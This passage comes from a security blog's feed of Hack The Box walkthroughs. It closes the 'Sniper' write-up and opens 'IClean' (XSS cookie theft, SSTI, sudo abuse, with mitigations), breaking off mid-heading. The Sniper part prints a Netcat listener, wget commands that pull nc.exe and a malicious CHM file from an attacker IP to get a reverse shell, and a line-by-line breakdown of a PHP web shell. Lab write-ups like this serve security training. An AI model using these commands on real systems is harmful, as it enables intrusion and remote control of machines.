https://substackcdn.com/image/fetch/$s_!WsEA!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd1d7b55a-1438-4eee-87f1-10522edc3421_806x573.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Click <em>Next </em>and <em>Finish.</em></p><p>From the File menu on the next screen, choose <em>Compile</em>.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!I73z!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4382bcb6-7b09-488b-95f1-7556bffd92ca_805x463.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!I73z!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4382bcb6-7b09-488b-95f1-7556bffd92ca_805x463.png 424w, https://substackcdn.com/image/fetch/$s_!I73z!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4382bcb6-7b09-488b-95f1-7556bffd92ca_805x463.png 848w, https://substackcdn.com/image/fetch/$s_!I73z!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4382bcb6-7b09-488b-95f1-7556bffd92ca_805x463.png 1272w, https://substackcdn.com/image/fetch/$s_!I73z!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4382bcb6-7b09-488b-95f1-7556bffd92ca_805x463.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!I73z!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4382bcb6-7b09-488b-95f1-7556bffd92ca_805x463.png" width="805" height="463" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/4382bcb6-7b09-488b-95f1-7556bffd92ca_805x463.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:463,&quot;width&quot;:805,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:32144,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!I73z!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4382bcb6-7b09-488b-95f1-7556bffd92ca_805x463.png 424w, https://substackcdn.com/image/fetch/$s_!I73z!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4382bcb6-7b09-488b-95f1-7556bffd92ca_805x463.png 848w, https://substackcdn.com/image/fetch/$s_!I73z!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4382bcb6-7b09-488b-95f1-7556bffd92ca_805x463.png 1272w, https://substackcdn.com/image/fetch/$s_!I73z!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4382bcb6-7b09-488b-95f1-7556bffd92ca_805x463.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><h2>Execution</h2><ol><li><p>Start a listener on Netcat.</p></li></ol><pre><code><code>&#9484;&#9472;&#9472;(emdeh&#12927;kali)-[~/Documents/htb-machines/sniper]
&#9492;&#9472;$ nc -lvnp 1234
listening on [any] 1234 ...</code></code></pre><ol start="2"><li><p>Copy the created instructions.chm file to the attack machine. Serve it using Python and retrieve it on the shell within Chris&#8217; user context.</p></li></ol><pre><code><code>&#9484;&#9472;&#9472;(emdeh&#12927;kali)-[~/Downloads]
&#9492;&#9472;$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...</code></code></pre><ol start="3"><li><p>Do the same for nc.exe and place it in the specified location for which the malicious instructions.chm file will look. In this case, C:\Users\Chris\.</p></li></ol><pre><code>PS C:\Docs&gt; wget -Uri "http://10.10.14.4:8000/nc.exe" -OutFile "C:\Users\Chris\nc.exe"
wget -Uri "http://10.10.14.4:8000/nc.exe" -OutFile "C:\Users\Chris\nc.exe"

PS C:\Docs&gt; wget -Uri "http://10.10.14.4:8000/instructions.chm" -OutFile "C:\Docs\instructions.chm"
wget -Uri "http://10.10.14.4:8000/instructions.chm" -OutFile "C:\Docs\instructions.chm"
</code></pre><ol start="4"><li><p>Once the file is retrieved by the mean CEO and opened, it will call back to the listener and a shell running in the administrator context is established</p></li></ol><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!J8sM!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F480a295a-8e30-4b66-a75b-5eb64c307f0f_595x496.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!J8sM!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F480a295a-8e30-4b66-a75b-5eb64c307f0f_595x496.png 424w, https://substackcdn.com/image/fetch/$s_!J8sM!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F480a295a-8e30-4b66-a75b-5eb64c307f0f_595x496.png 848w, https://substackcdn.com/image/fetch/$s_!J8sM!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F480a295a-8e30-4b66-a75b-5eb64c307f0f_595x496.png 1272w, https://substackcdn.com/image/fetch/$s_!J8sM!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F480a295a-8e30-4b66-a75b-5eb64c307f0f_595x496.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!J8sM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F480a295a-8e30-4b66-a75b-5eb64c307f0f_595x496.png" width="595" height="496" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/480a295a-8e30-4b66-a75b-5eb64c307f0f_595x496.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:496,&quot;width&quot;:595,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:67649,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!J8sM!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F480a295a-8e30-4b66-a75b-5eb64c307f0f_595x496.png 424w, https://substackcdn.com/image/fetch/$s_!J8sM!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F480a295a-8e30-4b66-a75b-5eb64c307f0f_595x496.png 848w, https://substackcdn.com/image/fetch/$s_!J8sM!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F480a295a-8e30-4b66-a75b-5eb64c307f0f_595x496.png 1272w, https://substackcdn.com/image/fetch/$s_!J8sM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F480a295a-8e30-4b66-a75b-5eb64c307f0f_595x496.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>And the root flag is found.</p><p></p><h4>Nmap Command Breakdown</h4><div class="footnote" data-component-name="FootnoteToDOM"><a id="footnote-1" href="#footnote-anchor-1" class="footnote-number" contenteditable="false" target="_self">1</a><div class="footnote-content"><p>1. <code>sudo</code>:</p><ul><li><p>Runs the command with superuser (root) privileges. This is necessary for certain Nmap operations that require elevated permissions.</p></li></ul><p>2. <code>nmap</code>:</p><ul><li><p>The Network Mapper tool used for network discovery.</p></li></ul><p>3. <code>-sV</code>:</p><ul><li><p>Service/version detection: This flag tells Nmap to determine the version of the services running on open ports.</p></li></ul><p>4. <code>-sT</code>:</p><ul><li><p>TCP connect scan: This instructs Nmap to scan ports using the TCP connect() system call. It is a reliable scan type that doesn't require root privileges but is slower and more detectable than other scan types.</p></li></ul><p>5. <code>-O</code>:</p><ul><li><p>OS detection: This flag enables operating system detection by sending various probes to the target and analysing the responses to guess the operating system.</p></li><li><p>OS detection often requires privileged access because it uses raw packets to determine the operating system, which is why the <code>sudo </code>was required.</p></li></ul><p>6. <code>-A</code>:</p><ul><li><p>Aggressive scan options: This flag enables OS detection (<code>-O)</code>, version detection (<code>-sV)</code>, script scanning, and traceroute. It is a comprehensive scan that provides much information about the target.</p></li><li><p>As OS detection is included, the <code>-O</code> strictly was not required in this instance.</p></li></ul><p>7. <code>-p-</code>:</p><ul><li><p>Scan all 65535 ports: This flag tells Nmap to scan all possible ports (0-65535) on the target.</p></li></ul><p>8. <code>10.129.229.6</code>:</p><ul><li><p>The target IP address that Nmap will scan.</p></li></ul><p>9. <code>| tee nmap-output.txt</code>:</p><ul><li><p>The `|` symbol is a pipe that passes the output of the Nmap command to the `tee` command.</p></li><li><p>`tee nmap-output.txt` writes the output to a file named `nmap-output.txt` while simultaneously displaying it in the terminal.</p></li></ul></div></div><div class="footnote" data-component-name="FootnoteToDOM"><a id="footnote-2" href="#footnote-anchor-2" class="footnote-number" contenteditable="false" target="_self">2</a><div class="footnote-content"><h4>Gobuster Command Breakdown</h4><p>This command uses Gobuster to perform a directory and file brute-force scan on the target web server at `http://10.129.229.6`. It uses the wordlist located at `/usr/share/wordlists/dirbuster/directory-list-1.0.txt`, runs with 100 concurrent threads, adds a trailing slash to directory names, and saves the output to `gobuster-scan.txt`.</p><p>1. <code>gobuster dir</code>:</p><ul><li><p><code>gobuster</code>: Designed for brute-forcing URIs (directories and files) on web servers.</p></li><li><p><code>dir</code>: Specifies the mode of operation, in this case, directory/file brute-forcing.</p></li></ul><p>2. <code>-u http://10.129.229.6</code>:</p><ul><li><p><code>-u</code>: The URL to scan.</p></li><li><p><code>http://10.129.229</code>: The target URL.</p></li></ul><p>3.<code>-w /usr/share/wordlists/dirbuster/directory-list-1.0.tx</code>t:</p><ul><li><p><code>-w</code>: The wordlist to use for brute-forcing.</p></li><li><p><code>/usr/share/wordlists/dirbuster/directory-list-1.0.txt</code>: The path to the wordlist file contains a list of directories and file names to attempt.</p></li></ul><p>4. <code>-t 100</code>:</p><ul><li><p><code>-t</code>: The number of concurrent threads to use.</p></li><li><p><code>100</code>: The number of threads, meaning 100 requests will be sent simultaneously.</p></li></ul><p>5. <code>-e</code>:</p><ul><li><p>This flag makes Gobuster add a trailing slash to each directory name being tested, helping it identify directories more accurately.</p></li></ul><p>6. <code>-o gobuster-scan.txt</code>:</p><ul><li><p><code>-o</code>: The output file to save the results.</p></li><li><p><code>gobuster-scan.txt</code>: The file where the results will be written.</p></li></ul></div></div><div class="footnote" data-component-name="FootnoteToDOM"><a id="footnote-3" href="#footnote-anchor-3" class="footnote-number" contenteditable="false" target="_self">3</a><div class="footnote-content"><h4>PHP Web Shell Command Breakdown</h4><p>This PHP code snippet is a simple backdoor script. </p><ul><li><p><code>&lt;?php</code>: Opens the PHP code block.</p></li><li><p><code>if(isset($_REQUEST["cmd"]))</code>: Checks if the <code>cmd</code> parameter is set in the HTTP request.</p></li><li><p><code>{ echo "&lt;pre&gt;";</code>: If <code>cmd</code> is set, it starts outputting the result within <code>&lt;pre&gt;</code> tags for preformatted text, which preserves whitespace and formatting.</p></li><li><p><code>$cmd = ($_REQUEST["cmd"]);</code>: Retrieves the parameter's value from the request and stores it in the <code>$cmd</code> variable.</p></li><li><p><code>system($cmd);</code>: Executes the command stored in <code>$cmd</code> using the <code>system</code> function, which runs the command and outputs the result directly.</p></li><li><p><code>echo "&lt;/pre&gt;";</code>: Closes the <code>&lt;pre&gt;</code> tag.</p></li><li><p><code>die;</code>: Ends the script execution to ensure no further processing occurs after executing the command.</p></li><li><p><code>}</code>: Closes the if statement.</p></li></ul></div></div>]]></content:encoded></item><item><title><![CDATA[IClean]]></title><description><![CDATA[XSS, SSTI, and Sudo abuse.]]></description><link>https://www.emdeh.com/p/iclean</link><guid isPermaLink="false">https://www.emdeh.com/p/iclean</guid><dc:creator><![CDATA[emdeh]]></dc:creator><pubDate>Mon, 27 May 2024 05:02:25 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!b0E5!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa1797f5a-6d1c-4bed-b7ab-0bcc8ccf6355_700x569.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1></h1><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!b0E5!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa1797f5a-6d1c-4bed-b7ab-0bcc8ccf6355_700x569.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!b0E5!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa1797f5a-6d1c-4bed-b7ab-0bcc8ccf6355_700x569.png 424w, https://substackcdn.com/image/fetch/$s_!b0E5!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa1797f5a-6d1c-4bed-b7ab-0bcc8ccf6355_700x569.png 848w, https://substackcdn.com/image/fetch/$s_!b0E5!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa1797f5a-6d1c-4bed-b7ab-0bcc8ccf6355_700x569.png 1272w, https://substackcdn.com/image/fetch/$s_!b0E5!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa1797f5a-6d1c-4bed-b7ab-0bcc8ccf6355_700x569.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!b0E5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa1797f5a-6d1c-4bed-b7ab-0bcc8ccf6355_700x569.png" width="700" height="569" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a1797f5a-6d1c-4bed-b7ab-0bcc8ccf6355_700x569.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:569,&quot;width&quot;:700,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!b0E5!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa1797f5a-6d1c-4bed-b7ab-0bcc8ccf6355_700x569.png 424w, https://substackcdn.com/image/fetch/$s_!b0E5!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa1797f5a-6d1c-4bed-b7ab-0bcc8ccf6355_700x569.png 848w, https://substackcdn.com/image/fetch/$s_!b0E5!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa1797f5a-6d1c-4bed-b7ab-0bcc8ccf6355_700x569.png 1272w, https://substackcdn.com/image/fetch/$s_!b0E5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa1797f5a-6d1c-4bed-b7ab-0bcc8ccf6355_700x569.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h1>Introduction</h1><p>IClean is rated as a medium difficulty. It begins with enumerating a Flask web app and exploiting an XSS vulnerability to steal a session cookie. The cookie is used to bypass the <code>/login</code> page authentication and access a <code>/dashboard</code> page. An SSTI vulnerability is exploited on this page to establish remote code execution. Due to hardcoded credentials in a Python script, hashes are dumped from a database. One hash is cracked, which enables lateral movement to a standard user's account. The standard user has <code>sudo </code>rights over a binary, which is exploited to exfiltrate the `root` user's <code>/id_rsa</code> file to achieve privilege escalation.</p><div><hr></div><h1>Contents</h1><ul><li><p><a href="https://emdeh.substack.com/i/145013446/introduction">Introduction</a></p><ul><li><p><a href="https://emdeh.substack.com/i/145013446/vulnerabilities-explored">Vulnerabilities explored</a></p><ul><li><p><a href="http://Cross-Site Scripting scripting">XSS</a></p></li><li><p><a href="https://emdeh.substack.com/i/145013446/session-hijacking">Session hijacking</a></p></li><li><p><a href="https://emdeh.substack.com/i/145013446/server-side-template-injection">SSTI</a></p></li><li><p><a href="https://emdeh.substack.com/i/145013446/insecure-coding-hardcoded-credentials">Insecure coding - hardcoded credentials</a></p></li><li><p><a href="https://emdeh.substack.com/i/145013446/sudo-misconfiguration">Sudo misconfiguration</a></p></li></ul></li><li><p><a href="https://emdeh.substack.com/i/145013446/tools">Tools</a></p></li><li><p><a href="https://emdeh.substack.com/i/145013446/tactics-and-methods">Tactics and Methods</a></p></li></ul></li><li><p><a href="https://emdeh.substack.com/i/145013446/enumeration">Enumeration</a></p></li><li><p><a href="https://emdeh.substack.com/i/145013446/initial-access">Initial access</a></p></li><li><p><a href="https://emdeh.substack.com/i/145013446/lateral-movement">Lateral movement</a></p></li><li><p><a href="https://emdeh.substack.com/i/145013446/privilege-escalation">Privilege escalation</a></p></li></ul><div><hr></div><h2>Vulnerabilities explored</h2><h3>Cross-Site Scripting scripting</h3><p>As discussed in the <a href="https://emdeh.substack.com/i/145018146/cross-site-scripting-xss">Headless walkthrough</a>, Cross-Site Scripting (XSS) is a type of vulnerability that allows a threat actor to inject a malicious payload into content that other users will view. When the content is viewed, the malicious payload will be executed, which can lead to data theft, session hijacking, and other types of breaches. See the linked article for a deeper explanation of XSS vulnerabilities.</p><h3>Session hijacking</h3><p>Also discussed in the <a href="https://emdeh.substack.com/i/145018146/session-hijacking">Headless walkthrough</a>, session hijacking involves exploiting a session by stealing or predicting a valid token. The token can then be used to bypass authentication mechanisms and/or steal data.</p><h4>Mitigation</h4><p>Some additional mitigation to what was discussed in the <a href="https://emdeh.substack.com/i/145018146/session-hijacking">Headless walkthrough</a> article include:</p><ul><li><p><strong>Use HTTPS</strong>: Ensure all communication between the client and server is encrypted using HTTPS to prevent session hijacking via network sniffing.</p></li><li><p><strong>User-Agent and IP Binding</strong>: To prevent session hijacking, bind the session to the user&#8217;s IP address and User-Agent string.</p></li></ul><h3>Server-Side Template Injection</h3><p>Server-side template Injection (SSTI) occurs when a threat actor exploits a web application&#8217;s template rendering system by injecting malicious code into the templates. This happens when the template engine fails to properly distinguish between the template code and user-provided data to populate the placeholders. As a result, the injected code is processed as part of the template, leading to the execution of malicious payloads.</p><h4>Mitigation</h4><p>To avoid SSTI vulnerabilities, the following can be considered:</p><ul><li><p><strong>Input Validation</strong>: Validate and sanitise all user inputs to ensure they do not contain executable code.</p></li><li><p><strong>Use Secure Templates</strong>: Choose template engines with built-in security features and avoid using insecure or outdated ones.</p></li><li><p><strong>Escape User Inputs</strong>: Always escape user inputs before including them in templates to prevent execution as code.</p></li><li><p><strong>Whitelist Inputs</strong>: Use a whitelist approach to limit the types of data that can be included in templates.</p></li><li><p><strong>Limit Template Functionality</strong>: Restrict the capabilities of the template engine to minimise the risk of code execution.</p></li><li><p><strong>Separate Data and Code</strong>: To prevent mixing executable code with user inputs, ensure a clear separation between the template logic and user data.</p></li><li><p><strong>Security Audits</strong>: Regularly perform security audits and code reviews to identify and fix potential SSTI vulnerabilities.</p></li><li><p><strong>Keep Dependencies Updated</strong>: Regularly update the template engine and other dependencies to the latest versions with security patches.</p></li></ul><h3>Insecure coding - hardcoded credentials</h3><p>Similarly to <a href="https://emdeh.com/blog/2024/headleass-walkthrough/#vulnerabilities-explored">Headless</a>, insecure coding practices can lead to significant attack vectors. In this case, database credentials were hard coded, enabling lateral movement.</p><h4>Mitigation</h4><ul><li><p><strong>Environment variables:</strong> Store credentials in environment variables rather than the source code.</p></li></ul><pre><code>import os
db_password = os.getenv('DB_PASSWORD')</code></pre><ul><li><p><strong>Configuration files:</strong> Store credentials and sensitive information in configuration files that are not included in version control, ensuring they are secured with appropriate permissions.</p></li></ul><pre><code>{
  "db_password": "your_password"
}</code></pre><ul><li><p><strong>Secrets Management Tools</strong>: Use dedicated secrets management tools like AWS Secrets Manager or Azure Key Vault.</p></li><li><p><strong>Secrets Rotation</strong>: Regularly rotate secrets and credentials to reduce the risk of compromised credentials.</p></li><li><p><strong>Secure Code Reviews</strong>: Conduct regular code reviews, focusing on security, to identify and remediate hardcoded credentials and other insecure coding practices.</p></li></ul><h3>Sudo misconfiguration</h3><p>As discussed in <a href="https://emdeh.com/blog/2024/headleass-walkthrough/#vulnerabilities-explored">Headless</a>, the <code>sudoers</code> file controls which users can execute commands with elevated privileges. If this file is configured to allow a user to run certain commands as the superuser.</p><p>Some binaries, when executed with elevated privileges, can be used to perform tasks that compromise the system's security. For instance, if a binary allows file manipulation, a threat actor can use it to gain higher privileges or conduct further exfiltration of sensitive data.</p><h2>Tools</h2><ul><li><p>Nmap</p></li><li><p>Gobuster</p></li><li><p>Burpsuite</p></li><li><p>Hashcat</p></li></ul><h2>Tactics and Methods</h2><h3>Enumerating webpages</h3><ul><li><p>Gobuster was used to enumerate pages of the site, which identified the target page <code>/dashboard</code>.</p></li></ul><h3>Stealing cookies by exploiting a Reflected XSS vulnerability</h3><ul><li><p>Burpsuite was used to observe the HTTP requests while using the target site, ultimately leading to the identification of an XSS vulnerability and the exfiltration of a session cookie.</p></li></ul><h3>Authentication bypass via session hijacking</h3><ul><li><p>Authentication to the target page <code>/dashboard</code> was achieved by using the stolen cookie to hijack a session.</p></li></ul><h3>Remote code execution by exploiting an 